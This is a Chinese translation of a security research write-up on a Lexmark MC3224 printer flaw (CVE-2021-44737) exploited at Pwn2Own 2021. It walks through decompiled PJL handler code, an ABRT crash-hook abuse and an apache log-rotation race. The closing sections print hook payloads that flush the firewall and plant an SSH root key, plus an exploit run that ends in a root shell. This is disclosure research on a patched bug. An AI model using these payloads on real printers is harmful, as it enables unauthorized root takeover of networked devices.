2021年10月,我们的研究人员发现了一个安全漏洞,并在2021年11月举行的Pwn2Own 2021大赛中成功利用了该漏洞。今年一月,Lexmark公司发布了该漏洞(CVE-2021-44737)的安全补丁。
最初,我们是打算以Lexmark MC3224i打印机为目标的,然而,由于该型号的打印机到处缺货,所以,我们决定买一台Lexmark MC3224dwe打印机作为其替代品。它们的主要区别在于:Lexmark MC3224i型号提供了传真功能,而Lexmark MC3224dwe型号则缺乏该功能。从漏洞分析的角度来看,这意味着两者之间可能有一些差异,至少我们很可能无法利用某些功能。于是,我们下载了两个型号的固件更新,发现它们竟然完全一样,所以,我们决定继续考察Lexmark MC3224dwe——反正我们也没有选择的余地。
就像Pwn2Own所要求的那样,该漏洞可被远程利用,无需经过身份验证,并存在于默认配置中。利用该漏洞,攻击者就能以该打印机的root用户身份远程执行代码。
关于该漏洞的利用过程,具体如下所示:
1、利用临时文件写入漏洞(CVE-2021-44737),对ABRT钩子文件执行写操作
2、通过远程方式,令进程发生崩溃,以触发ABRT的中止处理
3、中止处理将导致ABRT钩子文件中的bash命令被执行
实际上,临时文件写入漏洞位于Lexmark特有的hydra服务(/usr/bin/hydra)中,该服务在Lexmark MC3224dwe打印机上是默认运行的。hydra服务的二进制文件非常大,因为它需要处理各种协议。该漏洞存在于打印机工作语言(PJL)命令中,更具体地说,是在一个名为LDLWELCOMESCREEN的命令中。
我们已经分析并利用了CXLBL.075.272/CXLBL.075.281版本中的漏洞,但旧版本也可能存在该漏洞。在这篇文章中,我们将详细介绍针对CXLBL.075.272的分析过程,因为CXLBL.075.281是在去年10月中旬发布的,并且我们一直在研究这个版本。
注意:Lexmark MC3224dwe打印机是基于ARM(32位)架构的,但这对漏洞的利用过程并不重要,只是对逆向分析有点影响。
由于该漏洞先是触发了一个ABRT,随后又中止了ABRT,所以,我们将其命名为“MissionAbrt”。
逆向分析
您可以从Lexmark下载页面下载Lexmark固件更新文件,但是,这个文件是加密的。如果您有兴趣了解我们的同事Catalin Visinescu是如何使用硬件黑客技术来获取该固件文件的,请参阅本系列的第一篇文章。
漏洞详细信息
背景知识
正如维基百科所说:
打印机作业语言(PJL)是Hewlett-Packard公司开发的一种方法,用于在作业级别切换打印机语言,以及在打印机和主机之间进行状态回读。PJL增加了作业级别控制,如打印机语言切换、作业分离、环境、状态回读、设备考勤和文件系统命令。
PJL命令如下所示:
@PJL SET PAPER=A4 @PJL SET COPIES=10 @PJL ENTER LANGUAGE=POSTSCRIPT
众所周知,PJL对攻击者来说是非常有用的。过去,一些打印机曾经曝光过允许在设备上读写文件的漏洞。
PRET是这样一款工具:借助于该软件,我们就能在各种打印机品牌上使用PIL(以及其他语言),但它不一定支持所有的命令,因为每个供应商都提供了自己的专有命令。
找到含有漏洞的函数
虽然hydra服务的二进制文件没有提供符号,却提供了许多日志/错误函数,其中包含一些函数名。下面显示的代码是通过IDA/Hex-Rays反编译的代码,因为尚未找到该二进制文件的开放源代码。其中,许多PJL命令由地址为0xFE17C的setup_pjl_commands()函数注册的。这里,我们对LDLWELCOMESCREEN PJL命令非常感兴趣,因为它好像是Lexmark专有的,并且没有找到相应的说明文档。
int __fastcall setup_pjl_commands(int a1) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] pjl_ctx = create_pjl_ctx(a1); pjl_set_datastall_timeout(pjl_ctx, 5); sub_11981C(); pjlpGrowCommandHandler("UEL", pjl_handle_uel); ... pjlpGrowCommandHandler("LDLWELCOMESCREEN", pjl_handle_ldlwelcomescreen); ...
当接收到PJL LDLWELCOMESCREEN命令后,0x1012f0处的pjl_handle_ldlwelcomescreen()函数将开始处理该命令。我们可以看到,这个命令使用一个表示文件名的字符串作为第一个参数:
int __fastcall pjl_handle_ldlwelcomescreen(char *client_cmd) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] result = pjl_check_args(client_cmd, "FILE", "PJL_STRING_TYPE", "PJL_REQ_PARAMETER", 0); if ( result <= 0 ) return result; filename = (const char *)pjl_parse_arg(client_cmd, "FILE", 0); return pjl_handle_ldlwelcomescreen_internal(filename); }
然后,0x10a200处的pjl_handle_ldlwelcomescreen_internal()函数将尝试打开该文件。请注意,如果该文件存在,该函数并不会打开它,而是立即返回。因此,我们只能写还不存在的文件。此外,完整的目录层次结构必须已经存在,以便我们创建文件,同时,我们还需要具有写文件的权限。
unsigned int __fastcall pjl_handle_ldlwelcomescreen_internal(const char *filename) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] if ( !filename ) return 0xFFFFFFFF; fd = open(filename, 0xC1, 0777); // open(filename,O_WRONLY|O_CREAT|O_EXCL, 0777) if ( fd == 0xFFFFFFFF ) return 0xFFFFFFFF; ret = pjl_ldwelcomescreen_internal2(0, 1, pjl_getc_, write_to_file_, &fd);// goes here if ( !ret && pjl_unk_function && pjl_unk_function(filename) ) pjl_process_ustatus_device_(20001); close(fd); remove(filename); return ret; }
下面我们开始考察pjl_ldwelcomescreen_internal2()函数,但请注意,上面的文件最后会被关闭,并然后通过remove()调用完全删除文件名。这意味着我们似乎只能暂时写入该文件。
文件写入原语
现在,让我们分析0x115470处的pjl_ldwelcomescreen_internal2()函数。由于使用了flag == 0选项,因此,pjl_handle_ldlwelcomescreen_internal()函数最终将调用pjl_ldwelcomescreen_internal3()函数:
unsigned int __fastcall pjl_ldwelcomescreen_internal2( int flag, int one, int (__fastcall *pjl_getc)(unsigned __int8 *p_char), ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write), int *p_fd) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] bad_arg = write_to_file == 0; if ( write_to_file ) bad_arg = pjl_getc == 0; if ( bad_arg ) return 0xFFFFFFFF; if ( flag ) return pjl_ldwelcomescreen_internal3bis(flag, one, pjl_getc, write_to_file, p_fd); return pjl_ldwelcomescreen_internal3(one, pjl_getc, write_to_file, p_fd);// goes here due to flag == 0 }
我们花了一些时间,来逆向分析0x114838处的pjl_ldwelcomescreen_internal3()函数,以理解其内部机制。这个函数不仅很大,通过反编译得到的代码可读性不是太高,但逻辑仍然很容易理解。
基本上,这个函数负责从客户端读取附加数据,并将其写入前面打开的文件。
客户端数据似乎是由另一个线程异步接收的,并保存到分配给pjl_ctx结构体的内存中。因此,pjl_ldwelcomescreen_internal3()函数每次从pjl_ctx结构体中读取一个字符,并填充0x400字节的堆栈缓冲区。
1、如果接收到0x400字节数据,并且堆栈缓冲区已满,则最终会将这些0x400字节写入以前打开的文件中。然后,它重置堆栈缓冲区,并开始读取更多数据以重复该过程。
2、如果接收到PJL命令的页脚(“@PJL END data”),它将丢弃页脚部分,然后将接收的数据(大小< 0x400字节)写入文件,最后退出。
unsigned int __fastcall pjl_ldwelcomescreen_internal3( int was_last_write_success, int (__fastcall *pjl_getc)(unsigned __int8 *p_char), ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write), int *p_fd) { unsigned int current_char_2; // r5 size_t len_to_write; // r4 int len_end_data; // r11 int has_encountered_at_sign; // r6 unsigned int current_char_3; // r0 int ret; // r0 int current_char_1; // r3 ssize_t len_written; // r0 unsigned int ret_2; // r3 ssize_t len_written_1; // r0 unsigned int ret_3; // r3 ssize_t len_written_2; // r0 unsigned int ret_4; // r3 int was_last_write_success_1; // r3 size_t len_to_write_final; // r4 ssize_t len_written_final; // r0 unsigned int ret_5; // r3 unsigned int ret_1; // [sp+0h] [bp-20h] unsigned __int8 current_char; // [sp+1Fh] [bp-1h] BYREF _BYTE data_to_write[1028]; // [sp+20h] [bp+0h] BYREF current_char_2 = 0xFFFFFFFF; ret_1 = 0; b_restart_from_scratch: len_to_write = 0; memset(data_to_write, 0, 0x401u); len_end_data = 0; has_encountered_at_sign = 0; current_char_3 = current_char_2; while ( 1 ) { current_char = 0; if ( current_char_3 == 0xFFFFFFFF ) { // get one character from pjl_ctx->pData ret = pjl_getc(¤t_char); current_char_1 = current_char; } else { // a previous character was already retrieved, let's use that for now current_char_1 = (unsigned __int8)current_char_3; ret = 1; // success current_char = current_char_1; } if ( has_encountered_at_sign ) break; // exit the loop forever // is it an '@' sign for a PJL-specific command? if ( current_char_1 != '@' ) goto b_read_pjl_data; len_end_data = 1; has_encountered_at_sign = 1; b_handle_pjl_at_sign: // from here, current_char == '@' if ( len_to_write + 13 > 0x400 ) // ? { if ( was_last_write_success ) { len_written = write_to_file(p_fd, data_to_write, len_to_write); was_last_write_success = len_to_write == len_written; current_char_2 = '@'; ret_2 = ret_1; if ( len_to_write != len_written ) ret_2 = 0xFFFFFFFF; ret_1 = ret_2; } else { current_char_2 = '@'; } goto b_restart_from_scratch; } b_read_pjl_data: if ( ret == 0xFFFFFFFF ) // error { if ( !was_last_write_success ) return ret_1; len_written_1 = write_to_file(p_fd, data_to_write, len_to_write); ret_3 = ret_1; if ( len_to_write != len_written_1 ) return 0xFFFFFFFF; // error return ret_3; } if ( len_to_write > 0x400 ) __und(0); // append data to stack buffer data_to_write[len_to_write++] = current_char_1; current_char_3 = 0xFFFFFFFF; // reset to enforce reading another character // at next loop iteration // reached 0x400 bytes to write, let's write them if ( len_to_write == 0x400 ) { current_char_2 = 0xFFFFFFFF; // reset to enforce reading another character // at next loop iteration if ( was_last_write_success ) { len_written_2 = write_to_file(p_fd, data_to_write, 0x400); ret_4 = ret_1; if ( len_written_2 != 0x400 ) ret_4 = 0xFFFFFFFF; ret_1 = ret_4; was_last_write_success_1 = was_last_write_success; if ( len_written_2 != 0x400 ) was_last_write_success_1 = 0; was_last_write_success = was_last_write_success_1; } goto b_restart_from_scratch; } } // end of while ( 1 ) // we reach here if we encountered an '@' sign // let's check it is a valid "@PJL END DATA" footer if ( (unsigned __int8)aPjlEndData[len_end_data] != current_char_1 ) { len_end_data = 1; has_encountered_at_sign = 0; // reset so we read it again? goto b_read_data_or_at; } if ( len_end_data != 12 ) // len("PJL END DATA") = 12 { ++len_end_data; b_read_data_or_at: // will go back to the while(1) loop but exit at the next // iteration due to "break" and has_encountered_at_sign == 1 if ( current_char_1 != '@' ) goto b_read_pjl_data; goto b_handle_pjl_at_sign; } // we reach here if all "PJL END DATA" was parsed current_char = 0; pjl_getc(¤t_char); // read '\r' if ( current_char == '\r' ) pjl_getc(¤t_char); // read '\n' // write all the remaining data (len < 0x400), except the "PJL END DATA" footer len_to_write_final = len_to_write - 0xC; if ( !was_last_write_success ) return ret_1; len_written_final = write_to_file(p_fd, data_to_write, len_to_write_final); ret_5 = ret_1; if ( len_to_write_final != len_written_final ) return 0xFFFFFFFF; return ret_5; }
位于0xFEA18处的pjl_getc()函数,用于从pjl_ctx结构体中检索一个字符:
int __fastcall pjl_getc(_BYTE *ppOut) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] pjl_ctx = get_pjl_ctx(); *ppOut = 0; InputDataBufferSize = pjlContextGetInputDataBufferSize(pjl_ctx); if ( InputDataBufferSize == pjl_get_end_of_file(pjl_ctx) ) { pjl_set_eoj(pjl_ctx, 0); pjl_set_InputDataBufferSize(pjl_ctx, 0); pjl_get_data((int)pjl_ctx); if ( pjl_get_state(pjl_ctx) == 1 ) return 0xFFFFFFFF; // error if ( !pjlContextGetInputDataBufferSize(pjl_ctx) ) _assert_fail( "pjlContextGetInputDataBufferSize(pjlContext) != 0", "/usr/src/debug/jobsystem/git-r0/git/jobcontrol/pjl/pjl.c", 0x1BBu, "pjl_getc"); } current_char = pjl_getc_internal(pjl_ctx); ret = 1; *ppOut = current_char; return ret; }
0x6595C处的write_to_file()函数只是将数据写入指定的文件描述符:
int __fastcall write_to_file(void *data_to_write, size_t len_to_write, int fd) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] total_written = 0; do { while ( 1 ) { len_written = write(fd, data_to_write, len_to_write); len_written_1 = len_written; if ( len_written < 0 ) break; if ( !len_written ) goto b_error; data_to_write = (char *)data_to_write + len_written; total_written += len_written; len_to_write -= len_written; if ( !len_to_write ) return total_written; } } while ( *_errno_location() == EINTR ); b_error: printf("%s:%d [%s] rc = %d\n", "../git/hydra/flash/flashfile.c", 0x153, "write_to_file", len_written_1); return 0xFFFFFFFF; }
从攻击的角度来看,我们所感兴趣的是,如果发送的字节数量超过0x400,超出部分将被写入该文件;如果我们不发送PJL命令的页脚,它将等待我们继续发送更多数据,然后才真正完全删除该文件。
注意:当发送数据时,我们通常需要发送一定的填充数据,以确保其长度为0x400的倍数,这样我们控制的数据才会真正写入文件。
确认临时文件写入是否成功
有几个CGI脚本,可以用来显示文件系统上的文件内容。例如,/usr/share/web/cgi-bin/eventlogdebug_se的内容是:
#!/bin/ash echo "Expires: Sun, 27 Feb 1972 08:00:00 GMT" echo "Pragma: no-cache" echo "Cache-Control: no-cache" echo "Content-Type: text/html" echo echo "< HTML >< HEAD >< META HTTP-EQUIV=\"Content-type\" CONTENT=\"text/html; charset=UTF-8\" >< /HEAD >< BODY >< PRE >" echo "[++++++++++++++++++++++ Advanced EventLog (AEL) Retrieved Reports ++++++++++++++++++++++]" for i in 9 8 7 6 5 4 3 2 1 0; do if [ -e /var/fs/shared/eventlog/logs/debug.log.$i ] ; then cat /var/fs/shared/eventlog/logs/debug.log.$i fi done echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]" echo "" echo "" echo "[++++++++++++++++++++++ Advanced EventLog (AEL) Configurations ++++++++++++++++++++++]" rob call applications.eventlog getAELConfiguration n echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]" echo "< /PRE >< /BODY >< /HTML >"
因此,我们可以使用之前讨论过的临时文件写入原语,向/var/fs/shared/eventlog/logs/debug.log.1文件中写入大量的字符A。
然后,我们可以通过访问CGI页面,来确认对该文件的写入操作是否成功。
通过测试,我们注意到该文件会在1分钟和1分钟40之间被自动删除,这可能是由于hydra中PJL处理的超时所致。这意味着:我们可以利用这个临时文件原语的时间窗口为60秒。
漏洞的利用
利用崩溃事件处理程序(又称ABRT)
为了找到执行代码的方法,我们花费了大量的时间。直到我们注意到有几个配置文件定义了崩溃发生时要做什么时,我们终于抓住了一个突破口。
$ ls ./squashfs-root/etc/libreport/events.d abrt_dbus_event.conf emergencyanalysis_event.conf rhtsupport_event.conf vimrc_event.conf ccpp_event.conf gconf_event.conf smart_event.conf vmcore_event.conf centos_report_event.conf koops_event.conf svcerrd.conf coredump_handler.conf print_event.conf uploader_event.conf
例如,coredump_handler.conf可以用来执行shell命令:
# coredump-handler passes /dev/null to abrt-hook-ccpp which causes it to write # an empty core file. Delete this file so we don't attempt to use it. EVENT=post-create type=CCpp [ "$(stat -c %s coredump)" != "0" ] || rm coredump
下面介绍ABRT的运行机制:
如果程序开发人员(或包维护人员)需要用到ABRT未收集的某些信息,他们可以编写一个定制的ABRT钩子,为他的程序(包)收集所需的数据。这种钩子可以在问题处理期间的不同时间点运行,这取决于信息的“新鲜”程度。它可以在下列时间点运行:
1.崩溃时
2.当用户决定分析问题时(通常需要运行gdb)
3.在编写本报告时
您所要做的就是创建一个.conf文件,并将其放在/etc/libreport/events.d/中:
EVENT=< EVENT_TYPE > [CONDITIONS] < whatever command you like >
这些命令将在当前目录设置为问题目录的情况下执行(例如:/var/spool/abrt/ccpp-2012-05-17-14:55:15-31664目标)。
如果您需要在崩溃时收集数据,则需要创建一个作为post-create事件运行的钩子。
警告:post-create事件以root权限运行!
通过上面的介绍,我们可以确定必须创建一个post-create事件,并且我们知道如果/当一个崩溃事件实际上由ABRT处理时,它将以root权限去执行。
触发进程崩溃
实际上,导致进程崩溃的方法有很多种,它们似乎都会导致蓝屏死机(BSOD),然后,打印机将重新启动:
这样的进程崩溃足以触发ABRT行为。一旦我们触发了这样的进程崩溃,abrtd就会触发控制文件的post-create事件。通过启动我们自己的进程(例如netcat、ssh),该进程就永远不会返回,这样就可以避免崩溃处理过程继续进行,从而避免BSOD。
另外,我们可以利用awk中的一个漏洞来触发崩溃。如果打印机上使用的awk版本相当旧,那么,其中可能会存在一些新版本上并不存在的漏洞。比如,如果在设备上用awk命令来处理一个并不存在的文件,则会触发无效的free()函数:
# awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' /tmp/doesnt_exist free(): invalid pointer Aborted
为了远程触发它,我们滥用了apache2中的一个竞态条件漏洞;相关的配置包含以下内容:
ErrorLog "|/usr/sbin/rotatelogs -L '/run/log/apache_error_log' -p '/usr/bin/apache2-logstat.sh' /run/log/apache_error_log.%Y-%m-%d-%H_%M_%S 32K"
以上配置将触发每生成32KB日志的日志轮换,生成的日志文件具有唯一的名称,但最低时间粒度以秒。因此,如果生成的HTTP日志足够多,以至于在一秒钟内发生两次轮换,那么,apache2-logstat.sh的两个实例可能会同时解析同名的文件。在apache2-logstat.sh中,我们可以看到以下内容:
#!/bin/sh file_to_compress="${2}" path_to_logs="/run/log/" compress_exit_code=0 to_restart=0 rm -f "${path_to_logs}"apache_error_log*.tar.gz if [[ "${file_to_compress}" ]]; then echo "Compressing ${file_to_compress} ..." tar -czf "${file_to_compress}.tar.gz" "${file_to_compress}" compress_exit_code=${?} if [[ ${compress_exit_code} == 0 ]]; then echo "File ${file_to_compress} was compressed." echo "Check apache server status if needed to restart" to_restart=$(awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' "${file_to_compress}") if [ $to_restart -gt "5" ] then echo "Time to restart apache .." rm -f "${path_to_logs}"apache_error_log* systemctl restart apache2 fi rm -rf "${file_to_compress}" else echo "Error compressing file ${file_to_compress} (tar exit code: ${compress_exit_code})." fi fi exit ${compress_exit_code}
上面的file_to_compress是根据前面显示的ErrorLog行生成的apache错误日志文件。成功压缩文件后,将对该文件运行awk命令,以确定是否应该重新启动apache,否则将删除该文件。当这个脚本的多个实例同时运行时,就会触发竞态条件:其中一个脚本从磁盘上删除日志文件,而另一个脚本则在已不存在的文件上运行awk,从而导致代码崩溃。
实际上,只要向设备发送大量HTTP数据,就可以触发这个崩溃现象。
虽然这里通过awk崩溃来触发代码执行,但任何远程预授权的崩溃都应该是可用的,只要它能触发ABRT运行即可。
小结
首先,我们使用临时文件写入原语创建/etc/libreport/events.d/abort_edg.conf文件,其中包含以下文件(由于前面解释过的原因,我们需要用大量空格进行填充):
EVENT=post-create /bin/ping 192.168.1.7 -c 4 iptables -F /bin/ping 192.168.1.7 -c 4
然后,通过触发进程崩溃,进而触发ABRT执行我们的上述命令;接着,使用ping命令来确认每个中间命令的执行时间。之后,使用Wireshark确认收到了8个ping数据包。然后,通过连接通常被防火墙阻止的打印机上的某些侦听服务,来确认防火墙已成功禁用。
下面的ABRT钩子文件用于禁用防火墙,配置并启动SSH:
EVENT=post-create iptables -F /bin/rm /var/fs/security/ssh/ssh_host_key mkdir /var/run/sshd || echo foo /usr/bin/ssh-keygen -b 256 -t ecdsa -N '' -f /var/fs/security/ssh/ssh_host_key echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBABl6xVq6dGu40kDyxwjlMw7sxq4JGhVdc4hvDlDPPhzmAyEBkUWZOPRsLcWYm5kDJN6zFPTS0a4KNbx56qICwkyGAHfRv/+lVMxO2BEPJyYUUdpRC3qmUx0xy3GlgpOUUl90LgiifwcO6UI0P4l+UsewOrDdP6ycuklzJCaa7jLlPkMjQ==" > /var/fs/security/ssh/authorized /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key while true; /bin/ping 192.168.1.7 -c 4; sleep 10; done
下面是exploit代码的运行情况:
$ ./MissionAbrt.py -i 192.168.1.4 (13:20:01) [*] [file creation thread] running (13:20:01) [*] Waiting for firewall to be disabled... (13:20:01) [*] [file creation thread] connected (13:20:01) [*] [file creation thread] file created (13:20:01) [*] [crash thread] running (13:20:09) [*] Firewall was successfully disabled (13:20:09) [*] [crash thread] done (13:20:10) [*] [file creation thread] done (13:20:10) [*] All threads exited (13:20:10) [*] Waiting for SSH to be available... (13:20:10) [*] Spawning SSH shell Line-buffered terminal emulation. Press F6 or ^Z to send EOF. id ABRT has detected 1 problem(s). For more info run: abrt-cli list [email protected]:~# id uid=0(root) gid=0(root) groups=0(root) [email protected]:~#
我们可以看到,现在已经通过abrtd启动了sshd:
[email protected]:~# ps -axjf ... 1 772 772 772 ? -1 Ssl 0 0:00 /usr/sbin/abrtd -d -s 772 2343 772 772 ? -1 S 0 0:00 \_ abrt-server -s 2343 2550 772 772 ? -1 SN 0 0:00 \_ /usr/libexec/abrt-handle-event -i --nice 10 -e post-create -- /var/fs/shared/svcerr/abrt/ccpp-2021-10-20-07:06:21-2117 2550 2947 772 772 ? -1 SN 0 0:00 \_ /bin/sh -c echo 'mission abort!' iptables -F echo 'mission abort!' /bin/rm /var/fs/security/ssh/ssh_host_key echo 'mission a 2947 2952 772 772 ? -1 SN 0 0:00 \_ /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key 2952 3107 3107 3107 ? -1 SNs 0 0:00 \_ sshd: [email protected]/0 3107 3109 3109 3109 pts/0 3128 SNs 0 0:00 \_ -sh 3109 3128 3128 3109 pts/0 3128 RN+ 0 0:00 \_ ps -axjf
Pwn2Own参赛感想
在参加Pwn2Own大赛时,我们的第一次尝试利用该漏洞的过程中,由于一个未知的SSH错误而失败了,而我们在自己的测试环境中并没有遇到这种情况。我们可以看到,我们的命令的确被执行了(防火墙被禁用,SSH服务器被启动/并且可达),但它不允许我们连接。在参赛之前,在我们的漏洞利用代码的开发过程中,我们还测试过netcat payload,所以,我们决定在第二次尝试时启动这两个payload,结果大获成功。这表明,在参加Pwn2Own比赛时,拥有备份计划是多么重要!
本文翻译自:https://research.nccgroup.com/2022/02/18/analyzing-a-pjl-directory-traversal-vulnerability-exploiting-the-lexmark-mc3224i-printer-part-2/如若转载,请注明原文地址